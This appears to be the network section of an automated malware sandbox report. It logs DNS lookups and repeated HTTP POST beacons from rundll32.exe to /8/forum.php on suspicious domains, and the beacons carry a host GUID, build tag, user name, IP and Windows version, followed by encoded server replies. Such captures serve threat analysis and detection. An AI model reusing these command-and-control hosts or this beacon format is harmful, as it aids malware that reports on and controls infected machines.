Jul 9, 2021 03:09:04.442852020 CEST	49388	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.495557070 CEST	80	49388	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.509927988 CEST	80	49388	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.510153055 CEST	49388	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.744628906 CEST	49388	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.745960951 CEST	49389	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.796957016 CEST	80	49388	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.797178030 CEST	49388	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.797992945 CEST	80	49389	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.798206091 CEST	49389	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.799295902 CEST	49389	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:04.851377010 CEST	80	49389	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.865071058 CEST	80	49389	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:04.865179062 CEST	49389	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.089999914 CEST	49389	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.091875076 CEST	49390	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.142214060 CEST	80	49389	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.142370939 CEST	49389	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.145252943 CEST	80	49390	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.145358086 CEST	49390	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.146121025 CEST	49390	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.199449062 CEST	80	49390	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.211993933 CEST	80	49390	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.212114096 CEST	49390	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.444474936 CEST	49390	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.446324110 CEST	49391	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.497785091 CEST	80	49390	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.497960091 CEST	49390	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.498297930 CEST	80	49391	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.498451948 CEST	49391	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.499681950 CEST	49391	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.551703930 CEST	80	49391	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.568615913 CEST	80	49391	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.568707943 CEST	49391	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.790092945 CEST	49391	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.791966915 CEST	49392	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.842355013 CEST	80	49391	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.842504025 CEST	49391	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.845285892 CEST	80	49392	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.845375061 CEST	49392	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.846061945 CEST	49392	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:05.899625063 CEST	80	49392	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.913686991 CEST	80	49392	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:05.913804054 CEST	49392	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.162872076 CEST	49392	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.164278030 CEST	49393	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.217544079 CEST	80	49392	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.217670918 CEST	49392	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.218537092 CEST	80	49393	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.218697071 CEST	49393	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.219909906 CEST	49393	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.273256063 CEST	80	49393	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.286922932 CEST	80	49393	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.287070036 CEST	49393	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.505675077 CEST	49393	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.507142067 CEST	49394	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.559189081 CEST	80	49393	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.559212923 CEST	80	49394	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.559371948 CEST	49394	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.559372902 CEST	49393	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.560579062 CEST	49394	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.612560034 CEST	80	49394	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.626918077 CEST	80	49394	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.627048969 CEST	49394	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.851281881 CEST	49394	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.857202053 CEST	49395	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.903631926 CEST	80	49394	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.903755903 CEST	49394	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.910476923 CEST	80	49395	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.910603046 CEST	49395	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.911953926 CEST	49395	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:06.965348005 CEST	80	49395	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.983490944 CEST	80	49395	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:06.983602047 CEST	49395	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.205847979 CEST	49395	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.208481073 CEST	49396	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.259639978 CEST	80	49395	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.259757042 CEST	49395	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.260735035 CEST	80	49396	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.260849953 CEST	49396	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.262245893 CEST	49396	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.317089081 CEST	80	49396	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.330694914 CEST	80	49396	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.330801010 CEST	49396	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.552448034 CEST	49396	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.553668976 CEST	49397	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.604931116 CEST	80	49396	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.605068922 CEST	49396	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.606899977 CEST	80	49397	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.607018948 CEST	49397	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.608329058 CEST	49397	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.660326958 CEST	80	49397	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.674628973 CEST	80	49397	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.674753904 CEST	49397	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.896682978 CEST	49397	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.898772955 CEST	49398	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.951109886 CEST	80	49397	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.951231956 CEST	49397	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.954073906 CEST	80	49398	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:07.954268932 CEST	49398	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:07.955111980 CEST	49398	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.010047913 CEST	80	49398	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.023638010 CEST	80	49398	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.023718119 CEST	49398	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.247730017 CEST	49398	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.248684883 CEST	49399	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.302171946 CEST	80	49399	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.302292109 CEST	49399	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.302377939 CEST	80	49398	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.302472115 CEST	49398	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.303126097 CEST	49399	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.355638981 CEST	80	49399	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.369134903 CEST	80	49399	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.369285107 CEST	49399	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.598639011 CEST	49399	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.600063086 CEST	49400	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.651532888 CEST	80	49399	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.651685953 CEST	49399	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.653637886 CEST	80	49400	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.653743982 CEST	49400	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.655060053 CEST	49400	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.712694883 CEST	80	49400	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.725969076 CEST	80	49400	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:08.726156950 CEST	49400	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.952691078 CEST	49400	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:08.953716040 CEST	49401	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.007570982 CEST	80	49400	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.007658958 CEST	49400	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.008270979 CEST	80	49401	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.008382082 CEST	49401	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.009798050 CEST	49401	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.065587997 CEST	80	49401	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.079010010 CEST	80	49401	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.079212904 CEST	49401	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.300966024 CEST	49401	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.303312063 CEST	49402	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.354572058 CEST	80	49401	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.354737043 CEST	49401	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.355536938 CEST	80	49402	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.355643988 CEST	49402	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.356352091 CEST	49402	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:09:09.410471916 CEST	80	49402	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.424880028 CEST	80	49402	77.222.42.67	192.168.2.22
Jul 9, 2021 03:09:09.425017118 CEST	49402	80	192.168.2.22	77.222.42.67

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 9, 2021 03:07:35.627645969 CEST	52197	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:35.640475988 CEST	53	52197	8.8.8.8	192.168.2.22
Jul 9, 2021 03:07:41.856858015 CEST	53099	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:42.202471972 CEST	53	53099	8.8.8.8	192.168.2.22
Jul 9, 2021 03:07:42.351741076 CEST	52838	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:42.641100883 CEST	53	52838	8.8.8.8	192.168.2.22
Jul 9, 2021 03:07:43.941922903 CEST	61200	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:43.956505060 CEST	53	61200	8.8.8.8	192.168.2.22
Jul 9, 2021 03:07:44.263042927 CEST	49548	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:44.608213902 CEST	53	49548	8.8.8.8	192.168.2.22
Jul 9, 2021 03:07:44.609189034 CEST	49548	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:44.623220921 CEST	53	49548	8.8.8.8	192.168.2.22
Jul 9, 2021 03:07:46.274094105 CEST	55627	53	192.168.2.22	8.8.8.8
Jul 9, 2021 03:07:46.559499025 CEST	53	55627	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 9, 2021 03:07:35.627645969 CEST	192.168.2.22	8.8.8.8	0x26ae	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:41.856858015 CEST	192.168.2.22	8.8.8.8	0x80ac	Standard query (0)	sudepallon.com	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:42.351741076 CEST	192.168.2.22	8.8.8.8	0x51f2	Standard query (0)	srand04rf.ru	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.941922903 CEST	192.168.2.22	8.8.8.8	0x79da	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:44.263042927 CEST	192.168.2.22	8.8.8.8	0xa9f6	Standard query (0)	pospvisis.com	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:44.609189034 CEST	192.168.2.22	8.8.8.8	0xa9f6	Standard query (0)	pospvisis.com	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:46.274094105 CEST	192.168.2.22	8.8.8.8	0x6352	Standard query (0)	pospvisis.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	api.ipify.org	nagano-19599.herokussl.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	nagano-19599.herokussl.com	elb097307-934924932.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.19.92.227	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.175.90	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.121.178	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.243.175.83	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.216.118	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.136.132	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.224.49	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:35.640475988 CEST	8.8.8.8	192.168.2.22	0x26ae	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.220.248	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:42.202471972 CEST	8.8.8.8	192.168.2.22	0x80ac	No error (0)	sudepallon.com		77.222.42.67	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:42.641100883 CEST	8.8.8.8	192.168.2.22	0x51f2	No error (0)	srand04rf.ru		8.211.241.0	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	api.ipify.org	nagano-19599.herokussl.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	nagano-19599.herokussl.com	elb097307-934924932.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.211.162	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.246.238	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.226.23	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.216.118	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.243.175.83	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.225.165.85	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.88.121	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:43.956505060 CEST	8.8.8.8	192.168.2.22	0x79da	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.19.92.227	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:44.608213902 CEST	8.8.8.8	192.168.2.22	0xa9f6	No error (0)	pospvisis.com		95.213.179.67	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:44.623220921 CEST	8.8.8.8	192.168.2.22	0xa9f6	No error (0)	pospvisis.com		95.213.179.67	A (IP address)	IN (0x0001)
Jul 9, 2021 03:07:46.559499025 CEST	8.8.8.8	192.168.2.22	0x6352	No error (0)	pospvisis.com		95.213.179.67	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.ipify.org

sudepallon.com

srand04rf.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	50.19.92.227	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:35.791934967 CEST	0	OUT	GET / HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: api.ipify.org Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:42.262625933 CEST	1	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 105 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 30 2e 30 2e 30 2e 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:42.331255913 CEST	1	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 33 38 0d 0a 47 48 53 54 41 52 68 41 45 67 34 4f 43 6b 42 56 56 51 6b 49 47 78 51 65 53 6b 34 49 48 46 51 49 44 31 56 4e 45 68 77 51 43 52 34 63 45 42 45 4a 56 42 38 43 48 77 63 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 38GHSTARhAEg4OCkBVVQkIGxQeSk4IHFQID1VNEhwQCR4cEBEJVB8CHwc=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49175	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:45.547195911 CEST	301	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:45.613605976 CEST	301	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 54 47 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMTGNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49265	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:20.834779978 CEST	406	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:20.902245998 CEST	406	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 5a 41 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFZAUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49266	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:21.171448946 CEST	407	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:21.239439011 CEST	408	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 5a 41 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTZAGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49267	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:21.515640020 CEST	408	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:21.585246086 CEST	409	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 59 42 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZYBAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49268	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
